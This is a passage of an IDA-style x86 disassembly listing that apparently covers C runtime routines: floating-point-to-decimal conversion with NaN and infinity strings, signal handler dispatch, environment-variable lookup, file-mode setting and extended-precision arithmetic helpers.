		mov	eax, [ebp+arg_8]
		mov	edx, [ebp+arg_8]


loc_41EF1E:				; CODE XREF: sub_41EB13+454j
					; sub_41EB13+45Ej
		cmp	[ebp+var_2C], 0
		jz	short loc_41EF84
		xor	ebx, ebx
		mov	eax, 7FFFh
		mov	esi, 80000000h
		xor	edx, edx
		mov	[ebp+var_14], 2
		jmp	short loc_41EF99
; ---------------------------------------------------------------------------


loc_41EF3B:				; CODE XREF: sub_41EB13+3F6j
		cmp	eax, 0FFFFEBB0h
		jge	short loc_41EF4B
		mov	[ebp+var_30], 1
		jmp	short loc_41EF12
; ---------------------------------------------------------------------------


loc_41EF4B:				; CODE XREF: sub_41EB13+42Dj
		push	[ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_40]
		push	eax
		call	sub_41F6FC
		mov	edx, [ebp+var_40]
		mov	ebx, [ebp+var_40+2]
		mov	esi, [ebp+var_3A]
		mov	eax, [ebp+var_36]
		add	esp, 0Ch
		jmp	short loc_41EF1E
; ---------------------------------------------------------------------------


loc_41EF69:				; CODE XREF: sub_41EB13+3ABj
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		jmp	short loc_41EF1E
; ---------------------------------------------------------------------------


loc_41EF73:				; CODE XREF: sub_41EB13+381j
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		mov	[ebp+var_14], 4
		jmp	short loc_41EF99
; ---------------------------------------------------------------------------


loc_41EF84:				; CODE XREF: sub_41EB13+40Fj
		cmp	[ebp+var_30], 0
		jz	short loc_41EF99
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		mov	[ebp+var_14], 1


loc_41EF99:				; CODE XREF: sub_41EB13+426j
					; sub_41EB13+46Fj ...
		mov	ecx, [ebp+arg_0]
		or	eax, [ebp+var_28]
		pop	edi
		mov	[ecx+6], esi
		mov	[ecx+2], ebx
		mov	[ecx+0Ah], ax
		mov	eax, [ebp+var_14]
		pop	esi
		mov	[ecx], dx
		pop	ebx
		leave
		retn
sub_41EB13	endp

; ---------------------------------------------------------------------------
off_41EFB4	dd offset loc_41EB7D	; DATA XREF: sub_41EB13+63r
		dd offset loc_41EBCC	; jump table for switch	statement
		dd offset loc_41EC23
		dd offset loc_41EC4D
		dd offset loc_41ECA8
		dd offset loc_41ED1F
		dd offset loc_41ED55
		dd offset loc_41ED9F
		dd offset loc_41ED7E
		dd offset loc_41EE03
		dd offset loc_41EDED
		dd offset loc_41EDB9

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EFE4	proc near		; CODE XREF: sub_41DDBF+2Cp

var_1C		= byte ptr -1Ch
var_1B		= byte ptr -1Bh
var_1A		= byte ptr -1Ah
var_19		= byte ptr -19h
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= byte ptr -14h
var_13		= byte ptr -13h
var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_10		= word ptr -10h
var_E		= dword	ptr -0Eh
var_A		= dword	ptr -0Ah
var_6		= word ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= byte ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	eax, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_14]
		push	esi
		mov	ecx, eax
		mov	esi, 7FFFh
		and	ecx, 8000h
		and	eax, esi
		test	cx, cx
		push	edi
		mov	[ebp+var_1C], 0CCh
		mov	[ebp+var_1B], 0CCh
		mov	[ebp+var_1A], 0CCh
		mov	[ebp+var_19], 0CCh
		mov	[ebp+var_18], 0CCh
		mov	[ebp+var_17], 0CCh
		mov	[ebp+var_16], 0CCh
		mov	[ebp+var_15], 0CCh
		mov	[ebp+var_14], 0CCh
		mov	[ebp+var_13], 0CCh
		mov	[ebp+var_12], 0FBh
		mov	[ebp+var_11], 3Fh
		mov	[ebp+var_4], 1
		mov	edx, eax
		jz	short loc_41F046
		mov	byte ptr [ebx+2], 2Dh
		jmp	short loc_41F04A
; ---------------------------------------------------------------------------


loc_41F046:				; CODE XREF: sub_41EFE4+5Aj
		mov	byte ptr [ebx+2], 20h


loc_41F04A:				; CODE XREF: sub_41EFE4+60j
		mov	edi, [ebp+arg_4]
		test	dx, dx
		jnz	short loc_41F070
		test	edi, edi
		jnz	short loc_41F070
		cmp	[ebp+arg_0], edi
		jnz	short loc_41F070


loc_41F05B:				; CODE XREF: sub_41EFE4+181j
		and	word ptr [ebx],	0
		mov	byte ptr [ebx+2], 20h
		mov	byte ptr [ebx+3], 1
		mov	byte ptr [ebx+4], 30h
		jmp	loc_41F26E
; ---------------------------------------------------------------------------


loc_41F070:				; CODE XREF: sub_41EFE4+6Cj
					; sub_41EFE4+70j ...
		cmp	dx, si
		jnz	short loc_41F0EF
		mov	eax, 80000000h
		mov	word ptr [ebx],	1
		cmp	edi, eax
		jnz	short loc_41F089
		cmp	[ebp+arg_0], 0
		jz	short loc_41F098


loc_41F089:				; CODE XREF: sub_41EFE4+9Dj
		test	edi, 40000000h
		jnz	short loc_41F098
		push	offset a1Snan	; "1#SNAN"
		jmp	short loc_41F0DE
; ---------------------------------------------------------------------------


loc_41F098:				; CODE XREF: sub_41EFE4+A3j
					; sub_41EFE4+ABj
		test	cx, cx
		jz	short loc_41F0B2
		cmp	edi, 0C0000000h
		jnz	short loc_41F0B2
		cmp	[ebp+arg_0], 0
		jnz	short loc_41F0D9
		push	offset a1Ind	; "1#IND"
		jmp	short loc_41F0C1
; ---------------------------------------------------------------------------


loc_41F0B2:				; CODE XREF: sub_41EFE4+B7j
					; sub_41EFE4+BFj
		cmp	edi, eax
		jnz	short loc_41F0D9
		cmp	[ebp+arg_0], 0
		jnz	short loc_41F0D9
		push	offset a1Inf	; "1#INF"


loc_41F0C1:				; CODE XREF: sub_41EFE4+CCj
		lea	eax, [ebx+4]
		push	eax
		call	sub_415BE0
		pop	ecx
		mov	byte ptr [ebx+3], 5
		pop	ecx


loc_41F0D0:				; CODE XREF: sub_41EFE4+109j
		and	[ebp+var_4], 0
		jmp	loc_41F247
; ---------------------------------------------------------------------------


loc_41F0D9:				; CODE XREF: sub_41EFE4+C5j
					; sub_41EFE4+D0j ...
		push	offset a1Qnan	; "1#QNAN"


loc_41F0DE:				; CODE XREF: sub_41EFE4+B2j
		lea	eax, [ebx+4]
		push	eax
		call	sub_415BE0
		pop	ecx
		mov	byte ptr [ebx+3], 6
		pop	ecx
		jmp	short loc_41F0D0
; ---------------------------------------------------------------------------


loc_41F0EF:				; CODE XREF: sub_41EFE4+8Fj
		movzx	eax, dx
		mov	ecx, edi
		mov	esi, eax
		shr	ecx, 18h
		imul	eax, 4D10h
		shr	esi, 8
		and	[ebp+var_10], 0
		push	1
		lea	ecx, [esi+ecx*2]
		mov	[ebp+var_6], dx
		imul	ecx, 4Dh
		mov	[ebp+var_A], edi
		lea	esi, [ecx+eax-134312F4h]
		mov	eax, [ebp+arg_0]
		sar	esi, 10h
		mov	[ebp+var_E], eax
		movsx	eax, si
		neg	eax
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41F6FC
		add	esp, 0Ch
		cmp	[ebp+var_6], 3FFFh
		jb	short loc_41F150
		lea	eax, [ebp+var_1C]
		inc	esi
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41F4DC
		pop	ecx
		pop	ecx


loc_41F150:				; CODE XREF: sub_41EFE4+15Aj
		test	[ebp+arg_10], 1
		mov	[ebx], si
		jz	short loc_41F16A
		mov	edi, [ebp+arg_C]
		movsx	eax, si
		add	edi, eax
		test	edi, edi
		jg	short loc_41F16D
		jmp	loc_41F05B
; ---------------------------------------------------------------------------


loc_41F16A:				; CODE XREF: sub_41EFE4+173j
		mov	edi, [ebp+arg_C]


loc_41F16D:				; CODE XREF: sub_41EFE4+17Fj
		cmp	edi, 15h
		jle	short loc_41F175
		push	15h
		pop	edi


loc_41F175:				; CODE XREF: sub_41EFE4+18Cj
		movzx	esi, [ebp+var_6]
		sub	esi, 3FFEh
		and	[ebp+var_6], 0
		mov	[ebp+arg_14], 8


loc_41F18B:				; CODE XREF: sub_41EFE4+1B4j
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41E9F1
		dec	[ebp+arg_14]
		pop	ecx
		jnz	short loc_41F18B
		test	esi, esi
		jge	short loc_41F1B5
		neg	esi
		and	esi, 0FFh
		jle	short loc_41F1B5


loc_41F1A8:				; CODE XREF: sub_41EFE4+1CFj
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41EA1F
		dec	esi
		pop	ecx
		jnz	short loc_41F1A8


loc_41F1B5:				; CODE XREF: sub_41EFE4+1B8j
					; sub_41EFE4+1C2j
		lea	ecx, [edi+1]
		lea	eax, [ebx+4]
		test	ecx, ecx
		mov	[ebp+arg_14], eax
		jle	short loc_41F212
		mov	[ebp+arg_C], ecx


loc_41F1C5:				; CODE XREF: sub_41EFE4+229j
		lea	esi, [ebp+var_10]
		lea	edi, [ebp+arg_0]
		movsd
		movsd
		lea	eax, [ebp+var_10]
		push	eax
		movsd
		call	sub_41E9F1
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41E9F1
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41E993
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41E9F1
		mov	al, byte ptr [ebp+var_6+1]
		mov	ecx, [ebp+arg_14]
		and	byte ptr [ebp+var_6+1],	0
		add	esp, 14h
		add	al, 30h
		inc	[ebp+arg_14]
		dec	[ebp+arg_C]
		mov	[ecx], al
		jnz	short loc_41F1C5
		mov	eax, [ebp+arg_14]


loc_41F212:				; CODE XREF: sub_41EFE4+1DCj
		mov	cl, [eax-1]
		dec	eax
		dec	eax
		cmp	cl, 35h
		lea	ecx, [ebx+4]
		jl	short loc_41F24F


loc_41F21F:				; CODE XREF: sub_41EFE4+248j
		cmp	eax, ecx
		jb	short loc_41F232
		cmp	byte ptr [eax],	39h
		jnz	short loc_41F22E
		mov	byte ptr [eax],	30h
		dec	eax
		jmp	short loc_41F21F
; ---------------------------------------------------------------------------


loc_41F22E:				; CODE XREF: sub_41EFE4+242j
		cmp	eax, ecx
		jnb	short loc_41F236


loc_41F232:				; CODE XREF: sub_41EFE4+23Dj
		inc	eax
		inc	word ptr [ebx]


loc_41F236:				; CODE XREF: sub_41EFE4+24Cj
		inc	byte ptr [eax]


loc_41F238:				; CODE XREF: sub_41EFE4+279j
		sub	al, bl
		sub	al, 3
		mov	[ebx+3], al
		movsx	eax, al
		and	byte ptr [eax+ebx+4], 0


loc_41F247:				; CODE XREF: sub_41EFE4+F0j
		mov	eax, [ebp+var_4]


loc_41F24A:				; CODE XREF: sub_41EFE4+291j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41F24F:				; CODE XREF: sub_41EFE4+239j
					; sub_41EFE4+275j
		cmp	eax, ecx
		jb	short loc_41F25F
		cmp	byte ptr [eax],	30h
		jnz	short loc_41F25B
		dec	eax
		jmp	short loc_41F24F
; ---------------------------------------------------------------------------


loc_41F25B:				; CODE XREF: sub_41EFE4+272j
		cmp	eax, ecx
		jnb	short loc_41F238


loc_41F25F:				; CODE XREF: sub_41EFE4+26Dj
		and	word ptr [ebx],	0
		mov	byte ptr [ebx+2], 20h
		mov	byte ptr [ebx+3], 1
		mov	byte ptr [ecx],	30h


loc_41F26E:				; CODE XREF: sub_41EFE4+87j
		and	byte ptr [ebx+5], 0
		push	1
		pop	eax
		jmp	short loc_41F24A
sub_41EFE4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F277	proc near		; CODE XREF: sub_41AB7C+3423p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	eax, edi
		dec	eax
		dec	eax
		jz	short loc_41F2DE
		dec	eax
		dec	eax
		jz	short loc_41F2CF
		sub	eax, 4
		jz	short loc_41F2CF
		sub	eax, 3
		jz	short loc_41F2CF
		sub	eax, 4
		jz	short loc_41F2C2
		sub	eax, 6
		jz	short loc_41F2B5
		dec	eax
		jz	short loc_41F2A8
		or	eax, 0FFFFFFFFh
		jmp	loc_41F3A0
; ---------------------------------------------------------------------------


loc_41F2A8:				; CODE XREF: sub_41F277+27j
		mov	esi, ds:dword_46973C
		mov	eax, offset dword_46973C
		jmp	short loc_41F2E9
; ---------------------------------------------------------------------------


loc_41F2B5:				; CODE XREF: sub_41F277+24j
		mov	esi, ds:dword_469738
		mov	eax, offset dword_469738
		jmp	short loc_41F2E9
; ---------------------------------------------------------------------------


loc_41F2C2:				; CODE XREF: sub_41F277+1Fj
		mov	esi, ds:dword_469740
		mov	eax, offset dword_469740
		jmp	short loc_41F2E9
; ---------------------------------------------------------------------------


loc_41F2CF:				; CODE XREF: sub_41F277+10j
					; sub_41F277+15j ...
		push	edi
		call	sub_41F3A4
		mov	esi, [eax+8]
		add	eax, 8
		pop	ecx
		jmp	short loc_41F2E9
; ---------------------------------------------------------------------------


loc_41F2DE:				; CODE XREF: sub_41F277+Cj
		mov	esi, ds:dword_469734
		mov	eax, offset dword_469734


loc_41F2E9:				; CODE XREF: sub_41F277+3Cj
					; sub_41F277+49j ...
		cmp	esi, 1
		jnz	short loc_41F2F5
		xor	eax, eax
		jmp	loc_41F3A0
; ---------------------------------------------------------------------------


loc_41F2F5:				; CODE XREF: sub_41F277+75j
		test	esi, esi
		jnz	short loc_41F300
		push	3
		call	sub_417818


loc_41F300:				; CODE XREF: sub_41F277+80j
		push	ebx
		push	8
		pop	ecx
		cmp	edi, ecx
		jz	short loc_41F312
		cmp	edi, 0Bh
		jz	short loc_41F312
		cmp	edi, 4
		jnz	short loc_41F338


loc_41F312:				; CODE XREF: sub_41F277+8Fj
					; sub_41F277+94j
		mov	ebx, ds:dword_469514
		and	ds:dword_469514, 0
		cmp	edi, ecx
		jnz	short loc_41F367
		mov	edx, ds:dword_43839C
		mov	ds:dword_43839C, 8Ch
		mov	[ebp+arg_0], edx
		jmp	short loc_41F33B
; ---------------------------------------------------------------------------


loc_41F338:				; CODE XREF: sub_41F277+99j
		mov	ebx, [ebp+arg_0]


loc_41F33B:				; CODE XREF: sub_41F277+BFj
		cmp	edi, ecx
		jnz	short loc_41F367
		mov	eax, ds:dword_438390
		mov	ecx, ds:dword_438394
		add	ecx, eax
		cmp	eax, ecx
		jge	short loc_41F36E
		lea	edx, [eax+eax*2]
		sub	ecx, eax
		lea	edx, ds:438320h[edx*4]


loc_41F35C:				; CODE XREF: sub_41F277+ECj
		and	dword ptr [edx], 0
		add	edx, 0Ch
		dec	ecx
		jnz	short loc_41F35C
		jmp	short loc_41F36E
; ---------------------------------------------------------------------------


loc_41F367:				; CODE XREF: sub_41F277+AAj
					; sub_41F277+C6j
		and	dword ptr [eax], 0
		cmp	edi, ecx
		jnz	short loc_41F37C


loc_41F36E:				; CODE XREF: sub_41F277+D7j
					; sub_41F277+EEj
		push	ds:dword_43839C
		push	8
		call	esi
		pop	ecx
		pop	ecx
		jmp	short loc_41F38A
; ---------------------------------------------------------------------------


loc_41F37C:				; CODE XREF: sub_41F277+F5j
		push	edi
		call	esi
		cmp	edi, 0Bh
		pop	ecx
		jz	short loc_41F38A
		cmp	edi, 4
		jnz	short loc_41F39D


loc_41F38A:				; CODE XREF: sub_41F277+103j
					; sub_41F277+10Cj
		cmp	edi, 8
		mov	ds:dword_469514, ebx
		jnz	short loc_41F39D
		mov	eax, [ebp+arg_0]
		mov	ds:dword_43839C, eax


loc_41F39D:				; CODE XREF: sub_41F277+111j
					; sub_41F277+11Cj
		xor	eax, eax
		pop	ebx


loc_41F3A0:				; CODE XREF: sub_41F277+2Cj
					; sub_41F277+79j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_41F277	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41F3A4	proc near		; CODE XREF: sub_41F277+59p

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	ecx, ds:dword_438398
		cmp	ds:dword_43831C, edx
		push	esi
		mov	eax, offset dword_438318
		jz	short loc_41F3D2
		lea	esi, [ecx+ecx*2]
		lea	esi, ds:438318h[esi*4]


loc_41F3C6:				; CODE XREF: sub_41F3A4+2Cj
		add	eax, 0Ch
		cmp	eax, esi
		jnb	short loc_41F3D2
		cmp	[eax+4], edx
		jnz	short loc_41F3C6


loc_41F3D2:				; CODE XREF: sub_41F3A4+16j
					; sub_41F3A4+27j
		lea	ecx, [ecx+ecx*2]
		pop	esi
		lea	ecx, ds:438318h[ecx*4]
		cmp	eax, ecx
		jnb	short loc_41F3E6
		cmp	[eax+4], edx
		jz	short locret_41F3E8


loc_41F3E6:				; CODE XREF: sub_41F3A4+3Bj
		xor	eax, eax

locret_41F3E8:				; CODE XREF: sub_41F3A4+40j
		retn
sub_41F3A4	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F3E9	proc near		; CODE XREF: seg000:0041E165p

arg_0		= dword	ptr  4

		cmp	ds:dword_46AAC8, 0
		push	ebx
		push	esi
		mov	esi, ds:dword_46948C
		push	edi
		jz	short loc_41F460
		test	esi, esi
		jnz	short loc_41F41A
		cmp	ds:dword_469494, esi
		jz	short loc_41F460
		call	sub_41F7B7
		test	eax, eax
		jnz	short loc_41F460
		mov	esi, ds:dword_46948C
		test	esi, esi
		jz	short loc_41F460


loc_41F41A:				; CODE XREF: sub_41F3E9+14j
		mov	ebx, [esp+0Ch+arg_0]
		test	ebx, ebx
		jz	short loc_41F460
		push	ebx
		call	sub_415CD0
		pop	ecx
		mov	edi, eax


loc_41F42B:				; CODE XREF: sub_41F3E9+6Dj
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_41F460
		push	eax
		call	sub_415CD0
		cmp	eax, edi
		pop	ecx
		jbe	short loc_41F453
		mov	eax, [esi]
		cmp	byte ptr [eax+edi], 3Dh
		jnz	short loc_41F453
		push	edi
		push	ebx
		push	eax
		call	sub_41F778
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41F458


loc_41F453:				; CODE XREF: sub_41F3E9+51j
					; sub_41F3E9+59j
		add	esi, 4
		jmp	short loc_41F42B
; ---------------------------------------------------------------------------


loc_41F458:				; CODE XREF: sub_41F3E9+68j
		mov	eax, [esi]
		lea	eax, [eax+edi+1]
		jmp	short loc_41F462
; ---------------------------------------------------------------------------


loc_41F460:				; CODE XREF: sub_41F3E9+10j
					; sub_41F3E9+1Cj ...
		xor	eax, eax


loc_41F462:				; CODE XREF: sub_41F3E9+75j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41F3E9	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F466	proc near		; CODE XREF: sub_41E82C:loc_41E8B7p
					; sub_41E82C+D9p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		cmp	eax, ds:dword_46A880
		jnb	short loc_41F4CD
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, ds:dword_46A780[ecx*4]
		lea	edx, [ecx+eax*8+4]
		mov	cl, [ecx+eax*8+4]
		test	cl, 1
		jz	short loc_41F4CD
		mov	al, cl
		mov	esi, 8000h
		and	eax, 80h
		cmp	[esp+4+arg_4], esi
		jnz	short loc_41F4A6
		and	cl, 7Fh
		jmp	short loc_41F4B3
; ---------------------------------------------------------------------------


loc_41F4A6:				; CODE XREF: sub_41F466+39j
		cmp	[esp+4+arg_4], 4000h
		jnz	short loc_41F4C1
		or	cl, 80h


loc_41F4B3:				; CODE XREF: sub_41F466+3Ej
		neg	eax
		sbb	eax, eax
		mov	[edx], cl
		and	ax, 0C000h
		add	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41F4C1:				; CODE XREF: sub_41F466+48j
		mov	ds:dword_469464, 16h
		jmp	short loc_41F4D7
; ---------------------------------------------------------------------------


loc_41F4CD:				; CODE XREF: sub_41F466+Bj
					; sub_41F466+27j
		mov	ds:dword_469464, 9


loc_41F4D7:				; CODE XREF: sub_41F466+65j
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_41F466	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F4DC	proc near		; CODE XREF: sub_41EFE4+165p
					; sub_41F6FC+69p

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_0]
		mov	cx, [ebx+0Ah]
		xor	eax, eax
		push	edi
		mov	[ebp+var_14], eax
		mov	[ebp+var_24], eax
		mov	[ebp+var_20], eax
		mov	[ebp+var_1C], eax
		mov	ax, [esi+0Ah]
		mov	edi, ecx
		mov	edx, 7FFFh
		xor	edi, eax
		and	eax, edx
		and	ecx, edx
		and	edi, 8000h
		cmp	ax, 7FFFh
		lea	edx, [ecx+eax]
		mov	[ebp+arg_0], edx
		jnb	loc_41F6DC
		cmp	cx, 7FFFh
		jnb	loc_41F6DC
		cmp	dx, 0BFFDh
		ja	loc_41F6DC
		cmp	dx, 3FBFh
		ja	short loc_41F545
		xor	eax, eax
		jmp	short loc_41F57F
; ---------------------------------------------------------------------------


loc_41F545:				; CODE XREF: sub_41F4DC+63j
		test	ax, ax
		mov	edx, 7FFFFFFFh
		jnz	short loc_41F567
		inc	[ebp+arg_0]
		test	[esi+8], edx
		jnz	short loc_41F567
		xor	eax, eax
		cmp	[esi+4], eax
		jnz	short loc_41F569
		cmp	[esi], eax
		jnz	short loc_41F569
		jmp	loc_41F6D6
; ---------------------------------------------------------------------------


loc_41F567:				; CODE XREF: sub_41F4DC+71j
					; sub_41F4DC+79j
		xor	eax, eax


loc_41F569:				; CODE XREF: sub_41F4DC+80j
					; sub_41F4DC+84j
		cmp	cx, ax
		jnz	short loc_41F58C
		inc	[ebp+arg_0]
		test	[ebx+8], edx
		jnz	short loc_41F58C
		cmp	[ebx+4], eax
		jnz	short loc_41F58C
		cmp	[ebx], eax
		jnz	short loc_41F58C


loc_41F57F:				; CODE XREF: sub_41F4DC+67j
		mov	[esi+8], eax
		mov	[esi+4], eax
		mov	[esi], eax
		jmp	loc_41F6F7
; ---------------------------------------------------------------------------


loc_41F58C:				; CODE XREF: sub_41F4DC+90j
					; sub_41F4DC+98j ...
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_20]
		mov	[ebp+var_4], eax
		mov	[ebp+arg_4], 5


loc_41F59C:				; CODE XREF: sub_41F4DC+122j
		mov	eax, [ebp+var_10]
		add	eax, eax
		cmp	[ebp+arg_4], 0
		jle	short loc_41F5F0
		add	eax, esi
		lea	ecx, [ebx+8]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_C], ecx
		mov	[ebp+var_18], eax


loc_41F5B8:				; CODE XREF: sub_41F4DC+112j
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_C]
		movzx	eax, word ptr [eax]
		movzx	ecx, word ptr [ecx]
		imul	eax, ecx
		mov	ecx, [ebp+var_4]
		add	ecx, 0FFFFFFFCh
		push	ecx
		push	eax
		push	dword ptr [ecx]
		call	sub_41E972
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41F5E3
		mov	eax, [ebp+var_4]
		inc	word ptr [eax]


loc_41F5E3:				; CODE XREF: sub_41F4DC+FFj
		add	[ebp+var_8], 2
		sub	[ebp+var_C], 2
		dec	[ebp+var_18]
		jnz	short loc_41F5B8


loc_41F5F0:				; CODE XREF: sub_41F4DC+C9j
		add	[ebp+var_4], 2
		inc	[ebp+var_10]
		dec	[ebp+arg_4]
		cmp	[ebp+arg_4], 0
		jg	short loc_41F59C
		add	[ebp+arg_0], 0C002h
		cmp	word ptr [ebp+arg_0], 0
		jle	short loc_41F633


loc_41F60E:				; CODE XREF: sub_41F4DC+14Ej
		test	byte ptr [ebp+var_1C+3], 80h
		jnz	short loc_41F62C
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_41E9F1
		add	[ebp+arg_0], 0FFFFh
		pop	ecx
		cmp	word ptr [ebp+arg_0], 0
		jg	short loc_41F60E


loc_41F62C:				; CODE XREF: sub_41F4DC+136j
		cmp	word ptr [ebp+arg_0], 0
		jg	short loc_41F66C


loc_41F633:				; CODE XREF: sub_41F4DC+130j
		add	[ebp+arg_0], 0FFFFh
		cmp	word ptr [ebp+arg_0], 0
		jge	short loc_41F66C
		movsx	eax, word ptr [ebp+arg_0]
		neg	eax
		add	[ebp+arg_0], eax
		mov	ebx, eax


loc_41F64C:				; CODE XREF: sub_41F4DC+184j
		test	byte ptr [ebp+var_24], 1
		jz	short loc_41F655
		inc	[ebp+var_14]


loc_41F655:				; CODE XREF: sub_41F4DC+174j
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_41EA1F
		dec	ebx
		pop	ecx
		jnz	short loc_41F64C
		cmp	[ebp+var_14], 0
		jz	short loc_41F66C
		or	byte ptr [ebp+var_24], 1


loc_41F66C:				; CODE XREF: sub_41F4DC+155j
					; sub_41F4DC+163j ...
		cmp	word ptr [ebp+var_24], 8000h
		ja	short loc_41F683
		mov	eax, [ebp+var_24]
		and	eax, 1FFFFh
		cmp	eax, 18000h
		jnz	short loc_41F6B8


loc_41F683:				; CODE XREF: sub_41F4DC+196j
		cmp	[ebp+var_24+2],	0FFFFFFFFh
		jnz	short loc_41F6B5
		and	[ebp+var_24+2],	0
		cmp	[ebp+var_20+2],	0FFFFFFFFh
		jnz	short loc_41F6B0
		and	[ebp+var_20+2],	0
		cmp	word ptr [ebp+var_1C+2], 0FFFFh
		jnz	short loc_41F6AA
		inc	[ebp+arg_0]
		mov	word ptr [ebp+var_1C+2], 8000h
		jmp	short loc_41F6B8
; ---------------------------------------------------------------------------


loc_41F6AA:				; CODE XREF: sub_41F4DC+1C1j
		inc	word ptr [ebp+var_1C+2]
		jmp	short loc_41F6B8
; ---------------------------------------------------------------------------


loc_41F6B0:				; CODE XREF: sub_41F4DC+1B5j
		inc	[ebp+var_20+2]
		jmp	short loc_41F6B8
; ---------------------------------------------------------------------------


loc_41F6B5:				; CODE XREF: sub_41F4DC+1ABj
		inc	[ebp+var_24+2]


loc_41F6B8:				; CODE XREF: sub_41F4DC+1A5j
					; sub_41F4DC+1CCj ...
		mov	eax, [ebp+arg_0]
		cmp	ax, 7FFFh
		jnb	short loc_41F6DC
		mov	cx, word ptr [ebp+var_24+2]
		or	eax, edi
		mov	[esi], cx
		mov	ecx, [ebp+var_20]
		mov	[esi+2], ecx
		mov	ecx, [ebp+var_1C]
		mov	[esi+6], ecx


loc_41F6D6:				; CODE XREF: sub_41F4DC+86j
		mov	[esi+0Ah], ax
		jmp	short loc_41F6F7
; ---------------------------------------------------------------------------


loc_41F6DC:				; CODE XREF: sub_41F4DC+42j
					; sub_41F4DC+4Dj ...
		neg	di
		sbb	edi, edi
		and	dword ptr [esi+4], 0
		and	edi, 80000000h
		add	edi, 7FFF8000h
		and	dword ptr [esi], 0
		mov	[esi+8], edi


loc_41F6F7:				; CODE XREF: sub_41F4DC+ABj
					; sub_41F4DC+1FEj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41F4DC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F6FC	proc near		; CODE XREF: sub_41EB13+440p
					; sub_41EFE4+14Cp

var_C		= byte ptr -0Ch
var_A		= dword	ptr -0Ah
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		mov	ebx, offset dword_438810
		xor	ecx, ecx
		sub	ebx, 60h
		cmp	[ebp+arg_4], ecx
		jz	short loc_41F775
		jge	short loc_41F724
		mov	eax, [ebp+arg_4]
		mov	ebx, offset dword_438970
		neg	eax
		mov	[ebp+arg_4], eax
		sub	ebx, 60h


loc_41F724:				; CODE XREF: sub_41F6FC+16j
		cmp	[ebp+arg_8], ecx
		jnz	short loc_41F72F
		mov	eax, [ebp+arg_0]
		mov	[eax], cx


loc_41F72F:				; CODE XREF: sub_41F6FC+2Bj
		cmp	[ebp+arg_4], ecx
		jz	short loc_41F775
		push	esi
		push	edi


loc_41F736:				; CODE XREF: sub_41F6FC+75j
		mov	eax, [ebp+arg_4]
		add	ebx, 54h
		sar	[ebp+arg_4], 3
		and	eax, 7
		cmp	eax, ecx
		jz	short loc_41F76E
		lea	eax, [eax+eax*2]
		cmp	word ptr [ebx+eax*4], 8000h
		lea	esi, [ebx+eax*4]
		jb	short loc_41F761
		lea	edi, [ebp+var_C]
		movsd
		movsd
		movsd
		dec	[ebp+var_A]
		lea	esi, [ebp+var_C]


loc_41F761:				; CODE XREF: sub_41F6FC+57j
		push	esi
		push	[ebp+arg_0]
		call	sub_41F4DC
		pop	ecx
		pop	ecx
		xor	ecx, ecx


loc_41F76E:				; CODE XREF: sub_41F6FC+49j
		cmp	[ebp+arg_4], ecx
		jnz	short loc_41F736
		pop	edi
		pop	esi


loc_41F775:				; CODE XREF: sub_41F6FC+14j
					; sub_41F6FC+36j
		pop	ebx
